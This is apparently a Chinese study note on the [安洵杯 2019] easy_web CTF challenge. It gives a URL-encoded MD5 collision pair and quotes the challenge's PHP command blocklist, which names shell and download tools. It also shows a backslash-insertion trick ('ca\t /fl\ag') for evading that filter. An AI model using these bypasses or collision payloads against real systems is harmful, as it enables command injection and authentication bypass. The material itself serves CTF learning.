刷题记录：[安洵杯 2019]easy_web

[TOC]

刷题记录：[安洵杯 2019]easy_web

题目复现连接：https://buuoj.cn/challenges 参考连接：第二届安洵杯2019部分writeup

知识点

md5强类型碰撞

%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

linux命令执行绕过

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
}

如下正则能够过滤\

<?php
$cmd="\\";
echo $cmd;
if (preg_match("/|\\\\|\?/i", $cmd)) {
    echo("1");
}
if (preg_match("/\\\\/i", $cmd)) {
    echo("2");
}
if (preg_match("/|\\|/i", $cmd)) {
    echo("3");
}
if (preg_match("/|\|/i", $cmd)) {
    echo("4");
}
// \1234

linux命令中能够加\，因此甚至能够ca\t /fl\ag